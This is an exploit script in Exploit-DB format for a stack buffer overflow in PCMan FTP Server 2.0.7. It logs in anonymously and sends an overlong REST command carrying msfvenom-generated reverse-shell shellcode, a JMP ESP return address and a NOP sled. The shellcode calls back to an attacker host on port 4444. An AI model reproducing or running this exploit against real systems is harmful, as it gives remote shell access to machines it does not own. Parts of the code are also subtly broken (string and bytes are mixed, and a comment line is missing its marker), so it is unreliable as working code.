# Exploit Title: PCMan FTP Server 2.0.7 - Buffer Overflow
# Google Dork: [if applicable]
# Date: 05/18/2025
# Exploit Author: Thiago Cunha - A.K.A. Blu3B3@rd
# Vendor Homepage: http://pcman.openfoundry.org/
# Software Link: https://www.exploit-db.com/apps/9fceb6fefd0f3ca1a8c36e97b6cc925d-PCMan.7z
# Version: 2.0.7
# Tested on: Windows XP Professional, Service Pack 2 and Service Pack 3
# CVE : CVE-2025-4871
import socket
import time
# The command to generate shellcode
# msfvenom -p windows/shell_reverse_tcp lhost=192.168.0.2 lport=4444 EXITFUNC=thread -b '\x00\x0a\x0d' -a x86 --platform Windows -f python
# Version 5.1 (Build 2600.xpsp.080413-3111 : Service Pack 2)
# Tested on Windows XP 2 and 3 English
buf = ""
buf += "\xbd\xcc\x95\x24\x8c\xda\xdb\xd9\x74\x24\xf4\x5a\x33\xc9"
buf += "\xb1\x52\x31\x6a\x12\x83\xc2\x04\x03\xa6\x9b\xc6\x79\xca"
buf += "\x4c\x84\x82\x32\x8d\xe9\x0b\xd7\xbc\x29\x6f\x9c\xef\x99"
buf += "\xfb\xf0\x03\x51\xa9\xe0\x90\x17\x66\x07\x10\x9d\x50\x26"
buf += "\xa1\x8e\xa1\x29\x21\xcd\xf5\x89\x18\x1e\x08\xc8\x5d\x43"
buf += "\xe1\x98\x36\x0f\x54\x0c\x32\x45\x65\xa7\x08\x4b\xed\x54"
buf += "\xd8\x6a\xdc\xcb\x52\x35\xfe\xea\xb7\x4d\xb7\xf4\xd4\x68"
buf += "\x01\x8f\x2f\x06\x90\x59\x7e\xe7\x3f\xa4\x4e\x1a\x41\xe1"
buf += "\x69\xc5\x34\x1b\x8a\x78\x4f\xd8\xf0\xa6\xda\xfa\x53\x2c"
buf += "\x7c\x26\x65\xe1\x1b\xad\x69\x4e\x6f\xe9\x6d\x51\xbc\x82"
buf += "\x8a\xda\x43\x44\x1b\x98\x67\x40\x47\x7a\x09\xd1\x2d\x2d"
buf += "\x36\x01\x8e\x92\x92\x4a\x23\xc6\xae\x11\x2c\x2b\x83\xa9"
buf += "\xac\x23\x94\xda\x9e\xec\x0e\x74\x93\x65\x89\x83\xd4\x5f"
buf += "\x6d\x1b\x2b\x60\x8e\x32\xe8\x34\xde\x2c\xd9\x34\xb5\xac"
buf += "\xe6\xe0\x1a\xfc\x48\x5b\xdb\xac\x28\x0b\xb3\xa6\xa6\x74"
buf += "\xa3\xc9\x6c\x1d\x4e\x30\xe7\xe2\x27\x8a\x7f\x8a\x35\xea"
buf += "\x6e\x17\xb3\x0c\xfa\xb7\x95\x87\x93\x2e\xbc\x53\x05\xae"
buf += "\x6a\x1e\x05\x24\x99\xdf\xc8\xcd\xd4\xf3\xbd\x3d\xa3\xa9"
buf += "\x68\x41\x19\xc5\xf7\xd0\xc6\x15\x71\xc9\x50\x42\xd6\x3f"
buf += "\xa9\x06\xca\x66\x03\x34\x17\xfe\x6c\xfc\xcc\xc3\x73\xfd"
buf += "\x81\x78\x50\xed\x5f\x80\xdc\x59\x30\xd7\x8a\x37\xf6\x81"
buf += "\x7c\xe1\xa0\x7e\xd7\x65\x34\x4d\xe8\xf3\x39\x98\x9e\x1b"
buf += "\x8b\x75\xe7\x24\x24\x12\xef\x5d\x58\x82\x10\xb4\xd8\xa2"
buf += "\xf2\x1c\x15\x4b\xab\xf5\x94\x16\x4c\x20\xda\x2e\xcf\xc0"
buf += "\xa3\xd4\xcf\xa1\xa6\x91\x57\x5a\xdb\x8a\x3d\x5c\x48\xaa"
buf += "\x17"
# The target and port
target_ip = "192.168.0.5"
target_port = 21
# Exploit estructed
offset = b"A" * 2006
eip = b"\xd9\x2f\xe3\x74" # JMP ESP
nops = b"\x90" * 20 # Sled NOP
payload = offset + eip + nops + buf
# Connect to target
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_ip, target_port))
print(f"[+] Conectado a {target_ip}:{target_port}")
except Exception as e:
print(f"[-] Error to connect: {e}")
exit(1)
# Receive banner
banner = sock.recv(1024)
print(banner.decode(errors='ignore'))
# Send user
sock.sendall(b"USER anonymous\r\n")
print(sock.recv(1024).decode(errors='ignore'))
time.sleep(1)
#Send pass
sock.sendall(b"PASS anonymous\r\n")
print(sock.recv(1024).decode(errors='ignore'))
time.sleep(1)
# Send payload to exploiting buffer Overflow
exploit_command = b"REST " + payload + b"\r\n"
sock.sendall(exploit_command)
print(sock.recv(1024).decode(errors='ignore'))
time.sleep(1)
Close Connection
sock.close()
print("[+] Conexão encerrada.")